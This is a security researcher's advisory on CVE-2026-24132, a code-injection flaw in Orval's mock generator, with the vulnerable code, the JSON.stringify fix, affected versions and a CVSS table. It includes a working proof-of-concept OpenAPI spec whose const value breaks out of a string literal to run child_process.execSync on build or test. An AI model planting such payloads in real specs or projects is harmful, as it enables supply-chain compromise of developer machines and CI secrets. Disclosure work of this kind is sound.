CVE-2026-24132

CVE-2026-24132: Orval's Mock Generator Did What You Told It To (And That's The Problem)

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 23, 2026·5 min read·6 visits

Executive Summary (TL;DR)

Orval, a tool used to generate TypeScript code from OpenAPI specs, failed to safely sanitize `const` values in its `@orval/mock` package. Attackers can inject malicious JavaScript into schema files. When a developer generates mocks and runs them (e.g., during tests), the injected code executes. This is a classic supply chain attack vector targeting the build pipeline.

A critical code injection vulnerability in Orval's mock generator allows attackers to execute arbitrary code on developer machines via malicious OpenAPI specifications. By exploiting how `const` values are interpolated into generated TypeScript files, an attacker can turn a simple API contract update into a full-blown supply chain compromise.

The Hook: Trusting the Spec

We love code generators. They do the boring work for us, turning repetitive JSON schemas into type-safe TypeScript interfaces and mocks. Orval is one of the heavy hitters in this space, widely loved for its ability to generate React Query hooks and MSW mocks directly from an OpenAPI specification.

But here is the catch: code generators are effectively compilers. They take input (the OpenAPI spec) and turn it into executable code (TypeScript/JavaScript). If a compiler has a bug in how it handles input strings, it doesn't just produce a syntax error—it produces a weapon.

CVE-2026-24132 is exactly that. It resides in the @orval/mock package, the part of the tool responsible for creating fake data for your frontend tests. The vulnerability effectively allows a malicious OpenAPI spec to write its own logic into your codebase. If you pull a spec from a third party, or if an attacker compromises the repo where your spec lives, they don't need to touch your application code. They just need to tweak a single const value in the YAML, and the next time you run orval, you are owned.

The Flaw: Interpolation Hell

The root cause is a tale as old as time: string concatenation where serialization should have been. When generating mock data, Orval looks at the OpenAPI schema. If a property has a const value defined (a feature of OpenAPI 3.1.0), Orval tries to be helpful by hardcoding that value into the generated mock function.

In the vulnerable versions, the logic in packages/mock/src/faker/getters/scalar.ts was dangerously naive. It took the value from the const field and shoved it directly into a template literal string representing the code. It tried to use a helper function called jsStringEscape, but that helper was insufficient for preventing code injection.

This is the difference between data and code. To Orval, the const value was just data to be printed. But because it wasn't strictly serialized (e.g., using JSON.stringify), special characters like single quotes could break out of the string delimiter. Once you break out of the string, you are in the land of raw JavaScript execution.

The Code: The Smoking Gun

Let's look at the crime scene in packages/mock/src/faker/getters/scalar.ts. The developer's intention was innocent enough: if the schema says a value is constant, print it as a string literal.

The Vulnerable Code:

// ... inside the generator loop
} else if ('const' in item) {
  // ❌ DANGER: Interpolating raw input into code string
  value = `'${jsStringEscape((item as OpenApiSchemaObject).const)}'`;
}

See that logic? It wraps the output in single quotes '...' and tries to escape the content. But if jsStringEscape doesn't perfectly handle every edge case (or if the attacker gets creative with closing contexts), the game is over.

The Fix (v8.0.3 / v7.20.0):

// ... inside the generator loop
} else if ('const' in item) {
  // ✅ SAFE: Serializing the data structure properly
  value = JSON.stringify((item as OpenApiSchemaObject).const);
}

The fix is elegantly simple. JSON.stringify() creates a valid JavaScript literal representation of any JSON-compatible value. It handles quotes, backslashes, and control characters automatically and securely. It turns foo into "foo" and foo"bar into "foo\"bar", ensuring the data stays data.

The Exploit: Breaking Out

Exploiting this is trivially easy if you control the OpenAPI file. We want to inject a Node.js payload. Since the vulnerable code wraps our input in single quotes '...', we need to break out of that context.

Here is a malicious OpenAPI definition:

openapi: 3.1.0
info:
  title: Pwned API
  version: 1.0.0
components:
  schemas:
    MaliciousPayload:
      type: string
      # The payload closes the quote, executes code, and comments out the suffix
      const: "'); require('child_process').execSync('touch /tmp/pwned'); //"

When Orval processes this, the vulnerable line: value = '${jsStringEscape(...)}'

Becomes this in the generated TypeScript file:

export const getMaliciousPayloadMock = () => (
  '); require('child_process').execSync('touch /tmp/pwned'); //'
);

Wait, look closer at the syntax. In the generated object context, it might look like this:

export const myMock = () => ({
  someProperty: ''); require('child_process').execSync('touch /tmp/pwned'); //',
})

As soon as this file is imported by a test runner (like Jest or Vitest) or executed by a mock server, that require(...) statement runs immediately. This is RCE with the privileges of the user running the build or test suite.

The Impact: Why This Matters

This isn't just a "theoretical" vulnerability. This is a developer workflow killer. Think about where Orval runs:

  1. Local Development: You run npm run generate. The code is generated. Then you run npm test. The malicious mock is loaded. The attacker now has a shell on your laptop.
  2. CI/CD Pipelines: Your pipeline pulls the latest specs, generates code, and runs linting/testing. The payload executes in the CI environment, allowing the attacker to dump your AWS_ACCESS_KEY, NPM_TOKEN, or production database credentials.

Because this vulnerability is triggered during standard development lifecycle phases (generation or testing), it bypasses runtime protections that might exist in the deployed application. It attacks the builders, not the users.

The Fix: Update or Die

The remediation is straightforward. Update Orval immediately. The vulnerability affects both the 7.x and 8.x branches.

  • If you are on v7, update to v7.20.0+.
  • If you are on v8, update to v8.0.3+.

There is no configuration workaround that makes the vulnerable versions safe if you are consuming untrusted specs. The logic is hardcoded in the generator. If you cannot upgrade, your only defense is to manually review every line of your OpenAPI specification files before running the generator—a task that is practically impossible for large specifications.

Fix Analysis (2)

Technical Appendix

CVSS Score
7.7/ 10
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Affected Systems

Orval CLIDeveloper WorkstationsCI/CD Pipelines running Orval

Affected Versions Detail

Product
Affected Versions
Fixed Version
Orval
Orval Labs
<= 7.19.07.20.0
Orval
Orval Labs
8.0.0-rc.0 - 8.0.28.0.3
AttributeDetail
CWE IDCWE-77 (Improper Neutralization of Special Elements used in a Command)
CVSS v4.07.7 (High)
Attack VectorNetwork (Malicious Spec File)
ImpactRemote Code Execution (RCE)
Vulnerable Component@orval/mock (getMockScalar)
Fix MethodUse JSON.stringify() instead of manual escaping
CWE-77
Command Injection

Improper Neutralization of Special Elements used in a Command ('Command Injection')

Vulnerability Timeline

Vulnerability Disclosed & Patch Merged
2026-01-22
Orval v8.0.3 and v7.20.0 Released
2026-01-22
CVE-2026-24132 Published
2026-01-23

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.